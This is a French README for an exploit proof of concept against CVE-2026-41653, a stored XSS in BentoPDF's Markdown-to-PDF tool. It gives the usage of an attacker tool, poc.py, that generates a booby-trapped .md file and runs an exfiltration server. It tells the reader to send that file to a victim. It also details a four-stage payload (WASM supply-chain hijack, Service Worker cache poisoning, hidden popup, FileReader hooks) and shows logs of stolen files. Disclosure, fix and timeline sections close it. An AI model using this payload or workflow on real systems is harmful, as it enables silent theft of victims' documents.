
Preuve de concept d'exploitation pour CVE-2026-41653, une XSS stockée dans BentoPDF permettant l'exfiltration silencieuse de fichiers et le détournement de la chaîne d'approvisionnement WASM.
Découvert et signalé par : Astaruf
Analyse complète : https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
Avis en amont : Avis GHSA de alam00000/bentopdf
Entrée NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF est une boîte à outils PDF auto-hébergée et exécutée côté navigateur (compression, fusion, division, rotation, conversion, Markdown vers PDF, etc.).
L'outil Markdown vers PDF transmet le Markdown fourni par l'utilisateur via markdown-it avec html: true et injecte le résultat rendu directement dans le DOM via innerHTML sans aucune assainissement. Un attaquant qui fournit un fichier .md piégé parvient à exécuter du JavaScript arbitraire dans l'origine de BentoPDF.
Comme BentoPDF est une application entièrement côté client, chaque outil (Compresser PDF, Fusionner PDF, Diviser PDF, etc.) charge et traite les fichiers directement dans le navigateur de la victime. Un seul XSS suffit donc pour exfiltrer silencieusement tous les documents que la victime ouvre dans n'importe quel outil pendant la session.
L'attaquant envoie report.md (contenant )
-> La victime l'ouvre dans Markdown vers PDF
-> markdown-it rend le HTML brut (html: true)
-> preview.innerHTML = html (pas de DOMPurify)
-> poc_payload.js chargé depuis le serveur de l'attaquant (pas de CSP)
-> FileReader + <input type=file> interceptés dans toute l'application
-> popup cachée réinjecte les hooks à chaque navigation entre outils
-> chaque fichier ouvert par la victime est exfiltré silencieusement
localStorage['bentopdf:wasm-providers'], redirigeant les téléchargements des modules WASM PyMuPDF, Ghostscript et cpdf vers un hôte contrôlé par l'attaquant.window.opener et réinjecte les hooks de fichiers à chaque fois que la victime navigue vers un autre outil, maintenant l'accès pendant toute la session.bentopdf-*, ajoutant un hook d'exfiltration à chaque fichier /assets/*.js servi au navigateur au-delà de la session en cours.markdown-it (CWE-79)src/js/utils/markdown-editor.ts (lignes 271–272) :
private mdOptions: MarkdownItOptions = {
html: true, // les balises HTML brutes traversent le parseur markdown
breaks: false,
linkify: true,
typographer: true,
};
Les balises comme ``, <svg>, <details> et tous les attributs de gestionnaires d'événements (onerror, onload, ontoggle) sont transmises au DOM telles quelles.
innerHTML non assainie (CWE-116)src/js/utils/markdown-editor.ts (lignes 689–694) :
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // HTML contrôlé par l'attaquant injecté dans le DOM
this.renderMermaidDiagrams();
}
Aucune bibliothèque d'assainissement n'est appliquée entre markdown-it et innerHTML. Le navigateur analyse la chaîne injectée, rencontre le gestionnaire d'événements en ligne et l'exécute immédiatement.
nginx.conf est fourni sans en-tête Content-Security-Policy. Le JavaScript injecté peut librement charger des scripts externes, émettre des requêtes fetch() vers n'importe quel hôte et ouvrir des fenêtres popup. Une CSP restrictive aurait empêché l'étape de chargement de scripts externes même avec le sink intact.
# Démarrer le serveur de l'attaquant pour l'exfiltration
python3 poc.py --lhost <VOTRE_IP> --lport 9999
# poc.py va :
# - générer la charge utile poc_report.md dans le répertoire courant
# - commencer à écouter les callbacks de la victime et les fichiers exfiltrés
Envoyez poc_report.md à la victime et demandez-lui de l'ouvrir dans BentoPDF → Markdown vers PDF. La charge utile se déclenche au moment où l'aperçu est rendu, et tous les fichiers que la victime téléversera à l'avenir sont exfiltrés vers le serveur de l'attaquant.
| Option | Défaut | Description |
|---|---|---|
--lhost | requis | IP accessible par le navigateur de la victime |
--lport | 9999 | Port d'écoute |
--loot-dir | ./loot/ | Répertoire où les fichiers exfiltrés sont enregistrés |
--log-file | aucun | Ajoute tous les événements à un fichier (codes ANSI supprimés) |
--no-color | désactivé | Désactive les couleurs ANSI dans la sortie du terminal |
1. Serveur de l'attaquant démarré avec --lhost et --lport. Le poc_report.md malveillant est généré automatiquement.
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown vers PDF XSS stocké -> Exfiltration de fichiers
PoC par Astaruf (https://nstsec.com)
========================================================================
Serveur d'exfiltration : http://127.0.0.1:9999
Charge utile : http://127.0.0.1:9999/poc_payload.js
Répertoire de butin : /home/kali/loot
========================================================================
Fichier .md malveillant prêt : /home/kali/poc_report.md
Envoyez-le à la victime et demandez-lui de l'ouvrir dans l'outil Markdown vers PDF.
La charge utile se déclenche dès que l'aperçu est rendu.
========================================================================
En attente de victimes...
2. La victime ouvre l'outil Markdown vers PDF dans BentoPDF.

3. La victime charge poc_report.md. L'aperçu est rendu, `` échoue à charger, onerror se déclenche. poc_payload.js est récupéré depuis le serveur de l'attaquant sans CSP pour le bloquer.

4. La charge utile exécute ses quatre étapes : détournement du fournisseur WASM via localStorage, popup de surveillance lancée, hooks FileReader et d'entrée de fichier installés sur la page actuelle.

5. La victime navigue vers Compresser PDF. La popup détecte la navigation et réinjecte les hooks dans la nouvelle page.

6. La victime charge un PDF. L'outil le compresse normalement. Les octets du fichier ont déjà été envoyés par POST au serveur de l'attaquant.

7. Sortie du serveur de l'attaquant lors d'un test vérifié :
[17:11:11] WASM HIJACK { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON { page: '.../index.html' }
[17:12:00] BEACON { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171358_Lorem_ipsum.pdf

8. Le fichier exfiltré s'ouvre comme un PDF complet et valide, identique à l'original.

La charge utile intégrée dans poc.py exécute quatre étapes en séquence :
| Étape | Ce qu'elle fait | Portée de la persistance |
|---|---|---|
| 1 | Écrase localStorage['bentopdf:wasm-providers'] pour rediriger tous les téléchargements de modules WASM vers l'attaquant | À travers les sessions du navigateur |
| 2 | Enregistre /sw.js, énumère /assets/*.js sur toutes les pages d'outils, empoisonne le cache du Service Worker bentopdf-* avec un hook d'exfiltration | Au-delà de la session du navigateur (HTTPS uniquement) |
| 3 | Lance une popup cachée de 1×1 qui interroge window.opener.location.href et réinjecte les hooks de fichiers après chaque navigation entre outils | Tant que l'onglet BentoPDF est ouvert |
| 4 | Intercepte FileReader.prototype.readAsArrayBuffer et l'écouteur change au niveau du document : chaque fichier touché par la victime est envoyé par POST au serveur de l'attaquant /file?name=<nom_du_fichier> | Page actuelle |
Livré dans BentoPDF v2.8.3. Le développeur a audité la base de code au-delà du sink initialement signalé et a traité plusieurs vecteurs associés :
innerHTML dans markdown-editor.ts, y compris le chemin SVG Mermaid qui utilisait securityLevel: 'loose' et s'est avéré contourner le premier assainisseur.securityLevel: 'strict' et la sortie SVG est ré-assainie avec le profil SVG de DOMPurify.file.name échappé sur environ 8 pages d'outils (Deskew, Remplisseur de formulaires, Suppression d'annotations, etc.) où les noms de fichiers étaient auparavant concaténés dans le HTML sans assainissement.localStorage['bentopdf:wasm-providers'] sont supprimées au chargement.nginx.conf, y compris Content-Security-Policy.Correctif minimal pour le sink initialement signalé :
import DOMPurify from 'dompurify';
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = DOMPurify.sanitize(html);
}
En-tête CSP ajouté dans nginx.conf :
add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;
| Date | Événement |
|---|---|
| 2026-04-02 | Vulnérabilité découverte |
| 2026-04-02 | Signalée en privé au mainteneur |
| 2026-04-17 | Le mainteneur a accusé réception |
| 2026-04-17 | Correctif livré sur la version edge et re-testé |
| 2026-04-18 | v2.8.3 publiée avec crédit public |
| 2026-04-21 | Avis GHSA publié |
| 2026-04-22 | CVE-2026-41653 attribuée |
Ce contenu est fourni à des fins de tests de sécurité autorisés et d'éducation uniquement. Utilisez-le uniquement contre des instances BentoPDF que vous possédez ou pour lesquelles vous avez une autorisation écrite explicite de tester. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.